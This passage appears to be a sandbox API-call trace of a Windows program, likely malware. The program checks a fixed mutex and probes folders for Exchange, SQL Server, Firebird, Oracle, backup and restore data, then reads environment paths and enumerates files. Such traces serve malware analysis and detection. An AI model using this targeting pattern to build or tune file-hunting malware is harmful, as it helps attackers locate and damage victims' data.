ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0046.314] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.314] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.314] GlobalLock (hMem=0x440004) returned 0x552180 [0046.314] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.314] GlobalUnlock (hMem=0x440004) returned 0 [0046.314] GlobalLock (hMem=0x440004) returned 0x552180 [0046.314] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.314] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.314] GlobalUnlock (hMem=0x440004) returned 0 [0046.314] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.314] GlobalUnlock (hMem=0x44000c) returned 0 [0046.314] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.314] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.314] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.314] GlobalUnlock (hMem=0x44000c) returned 0 [0046.314] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.314] GlobalLock (hMem=0x440004) returned 0x554190 [0046.314] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.314] GlobalUnlock (hMem=0x44000c) returned 0 [0046.314] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.314] GlobalUnlock (hMem=0x440004) returned 0 [0046.314] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.314] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad", len=0x47 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad") returned 1 [0046.315] GlobalLock (hMem=0x440004) returned 0x552180 [0046.315] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.315] GlobalUnlock (hMem=0x440004) returned 0 [0046.315] GlobalLock (hMem=0x440004) returned 0x552180 [0046.315] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.315] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.315] GlobalUnlock (hMem=0x440004) returned 0 [0046.315] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.315] GlobalUnlock (hMem=0x44000c) returned 0 [0046.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꢈRꡜR企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.315] GetLastError () returned 0x3 [0046.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@ꟌR企@\x18㽜Q\x181")) returned 0xffffffff [0046.316] GetLastError () returned 0x2 [0046.316] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@⎌R企@\x18?T\x18;")) returned 0xffffffff [0046.316] GetLastError () returned 0x2 [0046.317] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0046.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@숼R企@\x18?T\x18D")) returned 0xffffffff [0046.317] GetLastError () returned 0x2 [0046.317] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.317] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0046.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@ꟌR企@\x18⎌R\x18j")) returned 0xffffffff [0046.318] GetLastError () returned 0x2 [0046.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0046.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@⊤R企@\x18?T\x18q")) returned 0xffffffff [0046.318] GetLastError () returned 0x2 [0046.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\⎈RÐ") returned 6 [0046.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@⑴R企@\x18?T\x18y")) returned 0xffffffff [0046.318] GetLastError () returned 0x2 [0046.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@숼R企@\x18?T\x18\x81")) returned 0xffffffff [0046.319] GetLastError () returned 0x2 [0046.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@⊤R企@\x18?T\x18\x88")) returned 0xffffffff [0046.319] GetLastError () returned 0x2 [0046.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@⑴R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.319] GetLastError () returned 0x2 [0046.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="쌔R䱠@숼R企@\x18?T\x18\x97")) returned 0xffffffff [0046.320] GetLastError () returned 0x2 [0046.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.320] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.320] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.320] GlobalUnlock (hMem=0x44000c) returned 0 [0046.320] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.320] GlobalLock (hMem=0x440004) returned 0x554190 [0046.320] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.320] GlobalUnlock (hMem=0x44000c) returned 0 [0046.320] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.320] GlobalUnlock (hMem=0x440004) returned 0 [0046.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.320] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.320] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.320] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.320] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.320] GlobalLock (hMem=0x440004) returned 0x552180 [0046.320] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.320] GlobalUnlock (hMem=0x440004) returned 0 [0046.320] GlobalLock (hMem=0x440004) returned 0x552180 [0046.320] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.320] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.320] GlobalUnlock (hMem=0x440004) returned 0 [0046.321] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.321] GlobalUnlock (hMem=0x44000c) returned 0 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0046.321] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.321] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.321] GlobalUnlock (hMem=0x44000c) returned 0 [0046.321] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.321] GlobalLock (hMem=0x440004) returned 0x554190 [0046.321] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.321] GlobalUnlock (hMem=0x44000c) returned 0 [0046.321] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.321] GlobalUnlock (hMem=0x440004) returned 0 [0046.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.321] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.321] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0046.321] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.321] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.321] GlobalLock (hMem=0x440004) returned 0x553188 [0046.321] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.322] GlobalUnlock (hMem=0x440004) returned 0 [0046.322] GlobalLock (hMem=0x440004) returned 0x553188 [0046.322] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.322] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.322] GlobalUnlock (hMem=0x440004) returned 0 [0046.322] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.322] GlobalUnlock (hMem=0x44000c) returned 0 [0046.322] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.322] CharLowerBuffW (in: lpsz="ea.xml", cchLength=0x6 | out: lpsz="ea.xml") returned 0x6 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, 